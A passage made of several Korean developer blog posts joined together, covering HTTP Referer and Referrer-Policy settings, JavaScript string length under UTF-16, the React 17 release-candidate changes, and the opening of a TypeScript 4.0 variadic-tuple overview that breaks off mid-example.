http 요청은 옵셔널 헤더인 [Referer](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer)를 가지고 있을 수 있다. 이 정보는 이 요청이 만들어진 origin 또는 웹페이지 URL을 가리킨다. [Referrer-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)헤더는 요청과 함께 얼마나 많은 레퍼럴 정보를 포함해야 하는지 알려준다.

아래 예제를 보자.

![example1](https://web-dev.imgix.net/image/admin/cXgqJfmD5OPdzqXl9RNt.jpg)

`Referer` 헤더에 해당 정보를 요청한 사이트의 전체 주소가 담겨져 있다.

`Referer` 헤더는 다양한 형태의 요청에 존재할 수 있는데, 예를 들어

- 사용자가 링크를 클릭하는 네비게이션 링크
- 브라우저가 이미지, iframe, script 등 페이지에 필요한 리소스를 요청하는 subresource 요청

가 있다. 네비게이션과 `iframe`의 경우, 자바스크립트의 `document.referrer`를 이용해서도 동일한 정보에 접근할 수 있다.

`Referer`는 꽤나 유용한 정보가 될 수 있다. 옐르 들어, `site-two.example`의 사용자중 50%는 `social-network.example`에서 왔다는 것을 파악할 수 있다.

그러나, query와 path를 포함한 전체 주소를 `Referer`를 통해서 다른 origin에 보내는 것은, 보안 상에서 문제가 될 수 있다. 아래의 예를 살펴보자.

![example2](https://web-dev.imgix.net/image/admin/oTUtfrwaGYYjlOJ6KRs6.jpg?auto=format&w=1600)

1번과 5번 예제에서 볼 수 있다시피 이 사이트에 온 사람이 누구인지 식별할 수도 있게 되어 버린다. 6번의 경우에는 극단적이지만 끔찍한 예제이다. 💀

따라서, 사이트의 요청에 사용할 수 있는 `referer` 데이터를 제한하기 위해서 사용하는 것이 `Referrer-Policy`이다.

## 어떠한 것들이 가능하고, 차이는 무엇일까?

가능한 정책은 총 8가지다. 정책에 따라서, `Referer`의 데이터는

- 데이터가 없다. (`Referer` 헤더가 없을 경우)
- `origin`만 존재하는 경우: https://yceffort.kr
- URL 전체: https://yceffort.kr/2020/07/docker-study-2/

일부 정책의 경우 context에 따라서 다르게 작동하도록 동작 되어있다. (cross-origin, same-origin request, security) 이는 사이트 내에서 Referer를 유지하면서, 동시에 다른 origin에서는 정보를 제한하는데 있어서 유용하다.

|                                   | No Data        | Origin Only                                | Full URL                   |
| --------------------------------- | -------------- | ------------------------------------------ | -------------------------- |
| `no-referrer`                     | ✔              |                                            |                            |
| `origin`                          |                | ✔                                          |                            |
| `unsafe-url`                      |                |                                            | ✔                          |
| `strict-origin`                   | HTTPS → HTTP   | HTTPS → HTTPS, HTTP → HTTP                 |                            |
| `no-referrer-when-downgrade`      | HTTPS → HTTP   |                                            | HTTPS → HTTPS, HTTP → HTTP |
| `origin-when-cross-origin`        |                | `cross-origin`                             | `same-origin`              |
| `same-origin`                     | `cross-origin` |                                            | `same-origin`              |
| `strict-origin-when-cross-origin` | HTTPS → HTTP   | `cross-origin`, HTTPS → HTTPS, HTTP → HTTP |                            |

실제 예제 까지 보고 싶다면 [여기](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy#Examples)를 참고

- scheme를 보는 모든 정책 (`strict-origin` `no-referrer-when-downgrade` `strict-origin-when-cross-origin`)의 경우에, HTTP가 실제로 더 보안에 취약함에도 불구하고, HTTP origin에서 다른 HTTP origin으로 가는 것을 HTTPS origin에서 다른 HTTPS origin으로 가는 것과 동일하게 취급한다. (= HTTP와 HTTPS에 대해 차이를 두고 있지 않다.) 이러한 정책의 경우 중요한 것은, 보안 다운그레이드가 발생하는지 여부, 즉 암호화된 원본에서 암호화되지 않은 원본으로 데이터를 노출할 수 있는지 여부이다. HTTP에서 HTTP는 암호화가 없어서 다운그레이드 되지 않는다. 다만 HTTPS에서 HTTP는 다운그레이드가 나타난다. (암호화가 된 것에서 암호화가 안된 것으로 가므로)

- 요청이 `same-origin`이라면, 이 뜻은 scheme (HTTS, HTTP)가 같다는 뜻이다. 따라서 보안에서 다운그레이드가 이루어지지 않는다.

## 브라우저별 표준

만약 `referrer-policy`가 설정되어 있지 않다면, 브라우저 기본 정책이 적용된다.

| 브라우저 | 기본 정책                                                                               |
| -------- | --------------------------------------------------------------------------------------- |
| Chrome   | 85 버전부터 `no-referrer-when-downgrade`에서 `strict-origin-when-cross-origin`으로 변경 |
| Firefox  | `no-referrer-when-downgrade`, 시크릿 모드에서는 `strict-origin-when-cross-origin`       |
| Edge     | `no-referrer-when-downgrade`                                                            |
| Safari   | `strict-origin-when-cross-origin`와 비슷하게 동작                                       |

## referrer policy 설정하는 올바른 방법

사이트에 referrer policy를 설정하는 방법은 여러가지가 있다.

- http header
- [HTML](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy#Integration_with_HTML)
- [Javascript](https://javascript.info/fetch-api#referrer-referrerpolicy)

페이지마다, 요청마다 다른 정책을 쓸 수 있다는 것을 의미한다. HTTP header와 meta 엘리먼트는 모두 페이지 레벨에서 동작한다. 유효 정책을 정하는 순위는 아래와 같다.

- element 레벨
- page 레벨
- 브라우저 기본값

### 예제

```html
<meta name="referrer" content="strict-origin-when-cross-origin" />
<img src="..." referrerpolicy="no-referrer-when-downgrade" />
```

이 경우 이미지는 `no-referrer-when-downgrade` 정책으로 가게 된다.

### referrer policy를 보는 법

브라우저의 네트워크 탭을 보면 된다.

![Referrer policy example](./images/referrer-policy.png)

## 어떤 정책이 좋을까?

요약: 명시적으로 보안이 강화된 `strict-origin-when-cross-origin`를 사용하는 것이 좋다.

### 왜 명시적으로 써야 할까?

referrer policy가 제공되지 않는다면, 브라우저 기본 정책이 사용된다. 사실, 많은 웹사이트 들이 이러한 정책을 브라우저 기본값에 의존하는데 이는 좋지 않다. 그 이유는

- 브라우저 모드 (시크릿모드 같이)에 따라서 `no-referrer-when-downgrade`이거나 `strict-origin-when-cross-origin`일 수 있는데, 이는 웹사이트에서 일관된 동작을 하지 못하도록 막는다.
- 브라우저의 기본값인 `strict-origin-when-cross-origin`는 cross-origin 요청에 대해서 referrer를 trimming하는 기능으르 가지고 있다. (파이어폭스, 사파리의 경우에만 그렇다. [여기]([Referrer trimming](https://github.com/privacycg/proposals/issues/13))를 참조) 명시적으로 정책을 선언해서 이러한 행위를 막을 수 있다.

### 왜 `strict-origin-when-cross-origin`인가?

- 안전하다: 웹사이트가 https 일 경우, https 가 아닌 요청에 대해서 웹사이트 주소를 노출하고 싶지 않을 것이다. 만약 누구라도 네트워크에서 이런 정보를 본다면, 유저의 정보가 [중간자 공격](https://ko.wikipedia.org/wiki/%EC%A4%91%EA%B0%84%EC%9E%90_%EA%B3%B5%EA%B2%A9) 의 위험에 노출되게 한다. `no-referrer-when-downgrade` `strict-origin-when-cross-origin` `no-referrer` `strict-origin`로 막을 수 있다.
- 개인정보 보안: cross-origin 요청의 경우, `no-referrer-when-downgrade`는 모든 주소를 노출시킨다. `strict-origin-when-cross-origin`와 `strict-origin`은 `origin`만 공유하고, `no-referrer`의 경우에는 아무정보도 안나타나게 된다.
- 용이하다: `no-referrer`와 `strict-origin`은 절대로 전체 URL을 공유하지 않는다. 근데 문제는 `same-orgin`일 때도 공유를 안한다는 것. 이를 피하기 위해서는 `strict-origin-when-cross-origin`를 쓰면 된다.

따라서 모든 경우에 있어서 `strict-origin-when-cross-origin`가 가장 최선의 선택이라고 볼 수 있다.

```html
<meta name="referrer" content="strict-origin-when-cross-origin" />
```

혹은 서버사이드에서

```javascript
const helmet = require('helmet')
app.use(helmet.referrerPolicy({policy: 'strict-origin-when-cross-origin'}))
```

### 만약 예외가 필요하다면

별도로 element 나 요청별로 예외를 두는 것이 좋다. 그럼에도, `unsafe-url` 같은 건 안쓰는게 좋다.

```html
<meta name="referrer" content="strict-origin-when-cross-origin" />
<img src="…" referrerpolicy="no-referrer-when-downgrade" />
```

```javascript
fetch(url, {referrerPolicy: 'no-referrer-when-downgrade'})
```

> element 별로 정책을 주는 것도 모든 브라우저에서 되는 것은 아니다. [참고](https://caniuse.com/?search=referrerpolicy)

## 외부에서 오는 요청에 referrer를 활용하는 법

### Cross Ste Request Forgery (CSRF) 보호

CSRF 방어를 위해서 referrer를 쓰는 것은 몇가지 허점이 있다.

- `no-referrer`나 request를 도용하는 경우 아무런 데이터를 볼 수 없을 수 있다. 요청의 헤더에 대한 제어를 하고 있지 못한다면, 요청에 안전한 헤더가 온다는 보장이 없다.
- `Referer` (`document.referer`) 에는 원하는 것 (단순히 cross-origin만 알고 싶었는데..) 보다 더 많은 양의 데이터가 들어 있을 수 있다.

CSRF 방어를 위해서는 [CSRF Token](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#token-based-mitigation)을 사용하는 것을 추천한다.

### 로깅

`Referer`에는 개인정보가 담겨 있을 수 있으므로, 다루는데 신중해야 한다. `Referer`를 사용하는 대신에, [Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin)이나 [Sec-Fetch-Site](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Site)를 써보는 것도 좋다.

> `sec-fetch-site`는 지원이 제한적이므로, `origin`을 쓰는게 낫다.

### 결제

결제 사업자는 보안 체크를 위해, 들어오는 요청에 대해서 `Referer`를 확인할 수도 있다. 예를 들어

- 유저가 online-shop.example/cart/checkout 에서 결제 버튼을 누른다.
- online-shop.example 가 결제를 위해 payment-provider.example로 리다이렉트 시킨다.
- payment-provider.example가 `Referer`를 확인하여 허가된 사이트로 부터 온 요청인지 확인한다. 그렇지 않다면, 결제 요청을 거부한다.

#### 결제 플로우에서 보안 체크

결제사업자가 `Referer`를 체크하는 것은 기본적인 방어 체계가 될 수 있다. 그러나 반드시, 또 다른 방어체계를 마련해 두어야 한다.

`Referer`만으로는 모든 것을 막기에 완벽하지 않다. 만약 결제 사이트에서 `no-referrer`를 설정해 두었다면, 해당 정보를 확인할 수 없다. 그러나, 결제 제공 사업자로서, 일단 `Referer`를 본다면 해당 정보가 있는지 없는지 정도 수준의 기본적인 체크는 할수가 있다.

- `Referer`가 언제나 있을 거라고 기대하지마라. 설령 존재한다 하더라도, 이는 아주 기초적인 점검 항목중 하나인 `origin`만 살펴볼 수 있다. `Referer` 허용 값을 작성할때, origin만 있도록 하는 것이 중요하다. 즉, `online-shop.example/cart/checkout`가 아닌 `online-shop.example`여야 한다는 것이다. 이는 결제 사이트에 따라서 정책이 다르게 설계 될 수 있으므로 (=꼭 FULL URL이 온다는 보장은 없으므로) 반드시 origin만 확인해야 한다.
- 만약 `Referer`가 없거나, 기본적인 점검이 통과했을 경우, 아래의 추가적인 항목으로 검사를 시도해야 한다.

#### 더 안전한 방법

한 가지 신뢰할 수 있는 검증 방법은 요청자가 요청한 매개변수를 고유한 키와 함께 해시하여 보내도록 하는 것이다. 결제 제공자로서 이 해시 값을 검사할 수 있고 이 값이 일치하는 요청에 대해서만 받으면 된다.

---

Source: https://yceffort.kr/2020/09/javascript-string.md
Title: 자바스크립트 String
Description: 자바스크립트의 String
Date: 2020-09-21
Tags: javascript

```javascript
const hello = 'hello'
hello.length // 5

const bow = '🙇‍♂️'
bow.length // 5 ???
```

첫 번째 `hello`의 길이는 이해가 되지만, 두번째 `🙇‍♂️` 의 길이는 왜 5일까?

이를 알기 위해서는 [javascript string의 정의](https://tc39.es/ecma262/#sec-ecmascript-language-types-string-type)를 참고할 필요가 있다.

> The String type is the set of all ordered sequences of zero or more 16-bit unsigned integer values ("elements") up to a maximum length of 253 - 1 elements. The String type is generally used to represent textual data in a running ECMAScript program, in which case each element in the String is treated as a UTF-16 code unit value. Each element is regarded as occupying a position within the sequence. These positions are indexed with nonnegative integers. The first element (if any) is at index 0, the next element (if any) at index 1, and so on. The length of a String is the number of elements (i.e., 16-bit values) within it. The empty String has length zero and therefore contains no elements.

> String type은 최대 길이 $$2^53 - 1$$ 의 원소들로 이루어진 0 이상의 16비트 미부호 정수 값("요소")의 순서로 구성된 모든 시퀀스 집합이다. 문자열 유형은 일반적으로 실행 중인 ECMAScript 프로그램에서 텍스트 데이터를 나타내기 위해 사용되며, 이 경우 문자열의 각 요소는 UTF-16 코드 단위 값으로 처리된다. 각 원소는 순서에서 위치를 차지하는 것으로 간주된다. 이러한 위치는 음이 아닌 정수로 나타난다. 첫 번째 요소(있는 경우)는 index 0에 있고, 다음 요소(있는 경우)는 index 1에 있는 등.. 으로 이루어진다. 문자열의 길이는 문자열 내의 요소 수(즉, 16비트 값)이다. 빈 문자열은 길이가 0이므로 요소를 포함하지 않는다.

자바스크립트는 문자열을 16비트로 표현하고 있고, 문자열의 길이는 이 16비트 요소들의 길이 인 것이다. [UTF-16](https://ko.wikipedia.org/wiki/UTF-16)

실제로, string을 UTF-16으로 변환하는 방법이 [여기](https://developers.google.com/web/updates/2012/06/How-to-convert-ArrayBuffer-to-and-from-String)에 나와 있다.

그리고 이러한 UTF-16 코드 유닛은 `0x0000` 부터 `0xFFFF`까지 존재한다. 예를 들어서, 아까 `hello`는

```javascript
const hello = '\u0048\u0065\u006C\u006C\u006F'

hello === 'Hello' // true
hello.length // 5
```

이 `\u0048\u0065\u006C\u006C\u006F`가 자바스크립트가 string을 보는 방법이다. 그리고 이것이 앞서 언급한 코드 시퀀스의 집합이다.

한가지 알아둬야 할 것은, 이렇게 UTF-16의 한 비트로 표현할 수 있는 문자들은 Basic Multilangual Plane에 한정되어 있다는 것이다. 그 외에 언어들에는

- [Supplementary Multilingual Plane](<https://en.wikipedia.org/wiki/Plane_(Unicode)#Supplementary_Multilingual_Plane>)
- [Supplementary Ideographic Plane](<https://en.wikipedia.org/wiki/Plane_(Unicode)#Supplementary_Ideographic_Plane>)
- [Tertiary Ideographic Plane](<https://en.wikipedia.org/wiki/Plane_(Unicode)#Tertiary_Ideographic_Plane>)

위 언어들은 따로나눌수 없는 UTF-16 의 쌍으로 이루어져 있다. 예를 들어 `😀`는 `0x1F600`인데, 이는 16비트로 표현할 수 있는 범위를 넘어섰으므로, `0xD83D0xDE00`로 표현한다.

어쨌든, `length`의 경우 하나의 16비트 진수를 길이로 표현하므로, 😀의 길이는 2가 된다.

그러나 한가지 다른 예제가 있다.

```javascript
const message = 'hello'
const smile = '😀'

[...message].length // => 5
[...smile].length // => 1
```

`string iterator`의 경우에는, UTF-16의 쌍 `surrogate pair`를 따로 분리하지 않고, 한개의 유닛으로 분리한다. 따라서 이것의 길이는, 사람 눈에 보이는 것처럼 1이 된다.

요약하자면, 자바스크립트의 string을 볼 때, 보여지는 그대로 보는 것이 가장 간단한 방법이다. 이 방법은 영문자, 숫자, 아스키 코드에만 유효하다.

그러나, 엄격하게 보자면 자바스크립트 문자열은 UTF-16 코드의 나열로 이루어져 있다. `string.length`는 이러한 코드의 길이를 보고 판단한다.

---

Source: https://yceffort.kr/2020/09/react-17-release-candidates.md
Title: 리액트 v17.0 살펴보기
Description: 리액트 17.0 새로운 기능은 추가되지 않을 예정. 점진적 업그레이드 추가, 이벤트 위임 방식 변경이 주요 변경 내용인 것 같네용.
Date: 2020-09-21
Tags: react

## Table of Contents

[원문](https://reactjs.org/blog/2020/08/10/react-v17-rc.html)을 대충 요약한 글입니다.

## 새로운 기능은 없다.

리액트 17.0은 새로운 버전이 기능이 추가되는 대신에, 리액트 그 자체의 업그레이드에 초점을 두고 있다.

## 점진적 업그레이드

이전까지 리액트 버전 업그레이드는, 중간이 없었다. 이전 버전을 유지하거나, 새버전을 깔거나 둘중에 하나 였다. 이 전략이 슬슬 한계에 부딪히고 있다. 예를 들어 [legacy context api](https://reactjs.org/docs/legacy-context.html)의 경우에는 이를 자동으로 업그레이드할 방법이 존재 하지 않는다. 대부분의 애플리케이션이 이 api를 쓰고 있지 않지만, react에서는 여전히 이들을 지원해야 한다. 그래서 구 버전 앱들을 뒤로 남겨두고 지원을 하지 않을지, 아니면 계속해서 지원해야할지를 선택해야 하는데, 두 방법 모두 좋지는 않다. 따라서 새로운 방법을 염두해 두고 있다.

### 리액트 17에서는 점진적으로 업그레이드가 가능하다.

이전 버전 업그레이드는, 전체 앱을 한번에 업그레이드 해야 했다. 이는 오래되거나 관리되지 않은 코드에서 사용하기에는 너무나 힘든 문제였다. 그래서 이후 부터는 두가지 옵션을 주려고 한다. 첫번째 옵션은 이전에 그랬던 것 처럼 한번에 전체 애플리케이션을 업데이트 하는 것이다. 그리고 다른 하나는 점진적으로 하나씩 업그레이드 하는 것이다. 예를 들어, 대부분의 앱을 리액트 18로 올릴 수 있지미나, lazy-loading 다이얼러그나 일부 라우트는 리액트 17 상태로 둘 수 있는 것이다.

그렇다고 꼭 점진적 업그레이드를 해야하는 것은 아니다. 여전히, 한번에 앱을 업그레이드 하는 것이 최선의 해결책이다. 그러나 사이즈가 큰 애플리케이션의 경우 이러한 옵션을 선택하기에 무리가 있을 수 있으며, 리액트 17부터 그것을 지원하려고 한다.

이런 점진적 업그레이드를 위해서는 리액트 이벤트 시스템을 몇가지 변경해야 하고, 이러한 변화가 breaking change가 될 수 있어서 메인 버전을 업데이트 하였다. 약 10만개 이상의 컴포넌트 들 중에, 실제로 변화가 있을 것으로 예상되는 것은 20개 정도다.

[데모버전](https://github.com/reactjs/react-gradual-upgrade-demo/) 레포를 참고해보자.

## 이벤트 위임의 변화

먼저 리액트에서 이벤트 핸들러를 붙이는 코드를 살펴보자

```jsx
<button onClick={handleClick}>
```

바닐라 DOM에서는 이렇게 작동할 것이다.

```javascript
myButton.addEventListener('click', handleClick)
```

그러나 대부분의 이벤트의 경우, 리액트는 이벤트가 실제 선언된 DOM에 붙이지 않는다. 대신, 리액트는 하나의 이벤트당 하나의 핸들러를 document node에 붙인다. 이는 이벤트 위임이라고 불린다. 큰 어플리케이션 구조에서 성능의 이점을 볼 수 있는 것 이외에도, [replaying events](https://twitter.com/dan_abramov/status/1200118229697486849)와 같은 기능을 추가할 때도 유용하게 사용할 수 있다.

리액트는 첫 릴리즈 때 부터 이벤트 위임을 자동으로 실행해 왔다. DOM이벤트가 도큐먼트에서 실행되면, 리액트는 어떤 컴포넌트에서 실행되어야 하는지 살펴보고, 리액트는 해당 컴포넌트에서 부터 위로 버블링을 시작한다. 그러나 이 뒤에는, 리액트가 이미 이벤트 핸들러를 붙인 곳에서 네이티브 이벤트가 이미 도큐먼트 레벨까지 버블링되어 있었다.

그러나, 이부분이 점진적 업그레이드 전략에서 문제가 되었다.

만약 페이지 내에서 여러 개의 리액트 버전이 존재한다면, 이벤트 핸들러가 최상단에 붙게 될 것이다. 이는 `e.stopPropagation()`을 어기게 된다. 만약 nested tree에서 이벤트에 대해 전파를 중지하더라도, 바깥 트리에서는 계속해서 이벤트를 받게 된다. 이는 리액트 내부에서 서로다른 버전의 tree를 갖는 것을 어렵게 만든다.

리액트 17부터, 이벤트 핸들러를 더 이상 도큐먼트의 최상 노드인 `html`에 붙이 지 않는다. 대신, 리액트 트리가 렌더링 되는 DOM Container에 이벤트를 붙이게 된다.

```javascript
const rootNode = document.getElementById('root')
ReactDOM.render(<App />, rootNode)
```

리액트 16 이하에서는, 이벤트 들이 `document.addEventListener()`로 이루어진다. 그러나 17버전 부터는 `rootNode.addEventListener()`로 변경된다.

번역이 거지 같아서 정리

- 특정 노드에 매번 이벤트 리스너를 붙이는 대신, 이벤트 리스너를 부모에게 추가하는 것이 이벤트 위임이다.
- 리액트는 이러한 이벤트 위임을 적극 활용하고 있었으며, 위임의 대상은 `document`였다.
- `document`에서 이벤트가 발생하면, 리액트 이벤트 시스템이 실제로 이벤트가 발생한 컴포넌트를 찾고, 이벤트 버블링으로 상위 컴포넌트에 전달함
- 문제는 여기에서 발생하는데, 네이티브 이벤트는 document 까지 이벤트가 버블링됨 (당연한거 아님?)
- 만약 한 페이지에 여러가지 리액트 버전이 존재한다면, 현재 구조상 모든 이벤트 들이 document에 이벤트를 위임할 것이다.
- 만약 이벤트가 발생한 컴포넌트를 찾아서, 이벤트 전파를 중단하더라도 (`stopPropagation`) 앞서 설명한 것처럼 네이티브 이벤트는 document까지 알아서 버블링이 될 것이기 때문에, 사이드 이펙트가 발생할 수 있다.

[추가 사례 분석](https://github.com/facebook/react/pull/8117)

- atom에서는 여러개 리액트 인스턴스를 생성한뒤, 한개의 앱에서 활용하고 있었다.
- 그러나 두개의 리액트 트리가 nested되어 있는 상태에서는 `e.stopPropagation`이 잘 동작하지 않는 문제가 있었다.
- 그 이유는 두개의 이벤트 리스너가 각각의 트리에 존재했고, 따라서 이들이 각각 전파가 취소되지 않는 문제가 있었다.
  - React version A로 돌아가는 `OuterComponent`와 서로 다른 버전으로 돌아가는 `InnerComponent`가 존재한다고 가정해보자.
  - `InnerComponent`는 이벤트 리스너를 inner tree의 최상단에 이벤트를 부착하려 할 것이고, `OuterComponent`는 해당 컴포넌트의 최상단에 붙이려고 할 것이다.
  - `InnerComponent`에서 클릭이 발생하면, 이 내부버전의 리액트가 트리 더 깊숙히 있기 때문에 이벤트에 대해서 먼저 알아 차릴 것이다.
  - 그리고 이는 `InnerComponent`의 이벤트를 발생시킬 것이고, 따라서 리액트는 `e.stopPropagation()`을 발생시킨다.
  - 이벤트 전파가 중단 되었으므로, 외부버전의 리액트에서는 이를 알아챌 수 없다.
- 이러한 문제를 `html`이 아닌 컴포넌트가 최초에 렌더링되는 `dom`노드에 이벤트를 붙이면서 해결할 수 있음.
- 서로 다른 리액트 버전 (=서로 다른 리액트 인스턴스)을 가지고 있다 하더라도, 이벤트가 부착되는 element가 각각 다르기 때문에 이러한 문제에서 자유로울 수 있음.

요약

- 서로다른 리액트 버전이 페이지 내에서 존재하는 경우 이벤트가 발생했을 시, 리액트에서 일어나는 버블링과 `stopPropagation`때문에 일부 이벤트 실행 여부를 알아채지 못할 수 있음.

![React 17 event delegation](https://reactjs.org/static/bb4b10114882a50090b8ff61b3c4d0fd/1e088/react_17_delegation.png)

이러한 변화로 인해, 한버전에 의해 관리되는 리액트 트리 내부에 서로 다른 리액트 버전을 관리하는 것이 안전해졌다. 이를 위해 두 버전이 모두 최소 리액트 17 버전 이상이어야 한다.

이는 리액트가 다른 기술과 사용하는 것을 더욱 용이하게 한다. 만약 외부에 jQuery가 존재하고, 내부에는 리액트가 존재한다면 이제 예상대로 이벤트 전파를 jQuery단까지 막을 수 있다.

이 변화로 인해, 코드에 몇 가지 변화가 필요할 수 있다. 예를 들어, DOM에 `document.addEventListener`를 활용하여 수동으로 이벤트를 붙여서 리액트의 모든 이벤트를 감지하는 코드가 존재할 수 있다. 리액트 16버전 에서는 이러한 코드가 가능했지만, 리액트 17 부터는 전파가 막히게 되므로 `document`에서도 이벤트가 발생하는지 알 수 없다.

```javascript
document.addEventListener('click', function () {
  // This custom handler will no longer receive clicks
  // from React components that called e.stopPropagation()
})
```

위와 같은 코드는 이제 , `capture: true`를 추가해야 한다.

```javascript
document.addEventListener(
  'click',
  function () {
    // Now this event handler uses the capture phase,
    // so it receives *all* click events below!
  },
  {capture: true},
)
```

결과적으로, 리액트 17의 이벤트 전파가 실제 DOM과 비슷해졌다고 볼 수 있다.

## 기타 Breaking Changes

### 브라우저 최적화

- `onScroll` 관련 이벤트 버블링을 제거하여, 네이티브 `onScroll` 이벤트가 버블링 되지 않는 것과 마찬가지로 동일하게 작동하도록 한다.
- `onFocus` `onBlur`가 네이티브 이벤트인 `focusin` `focusout`을 이용하도록 변경 (이 변경은 실제 버블링에 영향을 미치지 않는다. 리액트에서는 항상 `onFocus`이벤트는 버블링 되고, 리액트 17에서도 마찬가지 일 것이다.)
- Capture phase event (`onClickCapture`)가 실제 브라우저 리스너를 사용하도록 변경

### No Event Pooling

이벤트 풀링이 제거된다. 리액트는 오래된 브라우저의 성능 향상을 위해서 서로 다른 이벤트 사이에서 이벤트 객체를 재사용하고, 모든 이벤트 필드를 null로 설정해두었다. 리액트 16 및 이전 버전에서는 `e.persist()`를 호출하여 이벤트를 적절히 사용하거나, 필요한 속성을 미리 읽어와야 했다.

```jsx
function handleChange(e) {
  setData((data) => ({
    ...data,
    // 리애트 16버전에서는 에러가 났다.
    text: e.target.value,
  }))
}
```

이제 리액트 17에서 부터는 예상처럼 동작한다. 이벤트 풀링 최적화가 완전히 삭제 되었기 때문에, event 필드를 언제든지 원할때 마다 읽어올 수 있다.

사실 breaking changes라고는 했지만, 페이스북에서는 어떠한 문제점도 찾지 못했다. 리액트에 `e.persist()`가 존재하긴 하지만, 실제로는 아무런 동작을 하지 않는다는 것을 알아두길 바란다.

### Effect Cleanup Timing

`useEffect` 라이프 사이클 메서드의 Cleanup 타이밍을 일관되게 동작하도록 만들고 있다.

```javascript
useEffect(() => {
  // effect
  return () => {
    // cleanup
  }
}
```

대부분의 경우 스크린 업데이트를 지연시킬 필요가 없으므로, `useEffect` cleanup은 변경사항이 스크린에 반영된 직후 비동기적으로 작동하도록 변경되었다. (스크린 엽데이트를 지연시켜야 하는 경우 `useLayoutEffect`)

기존에 `useEffect` cleanup은 16버전에서는 동기적으로 실행하기 위해 사용되었다. `componentWillUnMount`와 유사하게, 탭 변경과 같은 큰 사이즈의 페이지 전환에서 성능 저하를 유발한다.

이 변경사항 이후, 컴포넌트가 언마운트 되면 화면이 업데이트 된후 `cleanup`이 실행된다.

또한, 돔 트리에 위치한 순서와 같은 순서로 실행되도록 보장한다.

그러나 위의 변화로 인해 아래와 같은 코드에서 에러가 나는 경우가 있다.

```javascript
useEffect(() => {
  someRef.current.someSetupMethod()
  return () => {
    someRef.current.someCleanupMethod()
  }
})
```

`someRef.current` 는 mutable 하기 때문에, cleanup 함수가 실행되는 순간에 null 이 될 가능성이 있다. 따라서 아래와 같이 고쳐줘야 한다.

```javascript
useEffect(() => {
  const instance = someRef.current
  instance.someSetupMethod()
  return () => {
    instance.someCleanupMethod()
  }
})
```

### undefined를 return 할 경우 일관되게 에러 발생

16버전 이하에서는, 모든 컴포넌트에서 undefined를 리턴할 경우 항상 에러를 발생했다. 하지만 코딩 실수로 인해, `forwardRef` `memo`컴포넌트 에서는 이러한 에러 처리가 누락되어 있었는데, 이제 부터 에러처리가 추가되었다.

```javascript
let Button = forwardRef(() => {
  // We forgot to write return, so this component returns undefined.
  // React 17 surfaces this as an error instead of ignoring it.
  ;<button />
})

let Button = memo(() => {
  // We forgot to write return, so this component returns undefined.
  // React 17 surfaces this as an error instead of ignoring it.
  ;<button />
})
```

렌더링을 아무것도 하지 않기 위해서는, null을 리턴하면 된다.

### Native Component Stacks

브라우저에서 에러 발생시, 자바스크립트 함수이름과 해당하는 위치를 추적하여 에러 메시지에서 보여줬지만, javascript stack이 리액트 트리 구조를 파악하고 진단하기에 충분하지 않았다. 특히 리액트는 소스코드에서 함수가 어디 선언되있는지 모르기 때문에, 콘솔에서 에러를 클릭해서 살펴볼 수 없었다. 또한, 프로덕션 모드에서 더욱 쓸모가 없었다. 일반적인 자바스크립트 스택이 소스맵과 함께 함수명을 복구할 수 있었던 반면, 리액트 스택은 번들 사이즈(에러를 안볼 것인지) 와 프로덕션 스택 (에러를 볼 것인지) 사이에서 선택을 해야 했다.

이를 해결하기 위해, 새로운 메커니즘을 사용하여 component stacks를 생성한다. 이를 통해 프로덕션 환경에서도 리액트 컴포넌트 스택을 추적할 수 있다.

### Private Exports 삭제

- React Native for Web에서 사용하던 private exports를 삭제하였다.
- `ReactTestUtils.SimulateNative` 헬퍼 메소드를 삭제하였다.

---

Source: https://yceffort.kr/2020/09/typescript-4.0.md
Title: Typescript 4.0 릴리즈 노트 
Description: 한 발 늦었지만 타입스크립트 4.0에서 추가된 기능을 알아보자
Date: 2020-09-21
Tags: typescript

## Table of Contents

출처는 [여기](https://devblogs.microsoft.com/typescript/announcing-typescript-4-0/)

## 가변 튜플

튜플은 원소의 수와, 각 원소의 타입이 정확히 지정된 배열의 타입을 지정하고 싶을 때 사용하는 방법이다.

```typescript
const hello: [string, number] = ['yc', 33]
```

먼저 tuple 타입 신택스에 있는 spread 연산자 `...`가 제네릭하게 될 수 있다. (외부에서 타입을 지정할 수 있다.) 블로그에서 나온 예시로는, `tail`함수를 예로 들고 있다.

```typescript
// 이 ... 이 3.x 버전 이하에서는 에러가 났지만, 4.0 부터는 쓸 수 있게 되었다.
function tail<T extends any[]>(arr: readonly [any, ...T]) {
  const [_ignored, ...rest] = arr
  return rest
}

const myTuple = [1, 2, 3, 4] as const
const myArray = ['hello', 'world']

// type [2, 3, 4]
const r1 = tail(myTuple)

// type [2, 3, 4, ...string[]]
const r2 = tail([...myTuple, ...myArray] as const)
```

[예제코드](https://www.typescriptlang.org/play?ts=4.0.2#code/GYVwdgxgLglg9mABFAhjANgHgCqIKYAeUeYAJgM6IpgCeA2gLoB8AFCgE7sBci7eKpBOhqI61GgBpEAOlnYGASkQBvAFCINiCAnJRRAfRgBzMHD6kps6X10NEAXiqcA3Os18oIdkhtRXAX1VVbTBdRABbGmwQAAd0PAdRAEYpACYpAGYpABY7FEoQ3VdCvUiAQU4UEUc6ACIACzx0dDhaqVqAdzN0UlqGV1UAekHkGhiEunTELMRc4J09diTE1AwWSOi4vAUB4dHx0SmZ7MtZXXYYMCNGBnnQxdSVtHQWOisN2PjT6XLKmjyCgsdkA)

또한 tuple 내부에서 전개 연산자를 어디서든 쓸 수 있다.

```typescript
type Strings = [string, string]
type Numbers = [number, number]

// [string, string, number, number, boolean]
type StrStrNumNumBool = [...Strings, ...Numbers, boolean]
```

아마도 함수 합성을 하는데 있어서 중요한 역할을 할 것으로 보인다. 블로그에 예제에서 보여준 것처럼, 자바스크립트의 `bind`함수에 타입체크를 할 때도 많이 이용될 것으로 보인다.

[다양한 예제들](https://github.com/microsoft/TypeScript/pull/39094)

```typescript
// Variadic tuple elements

type Foo<T extends unknown[]> = [string, ...T, number]

type T1 = Foo<[boolean]> // [string, boolean, number]
type T2 = Foo<[number, number]> // [string, number, number, number]
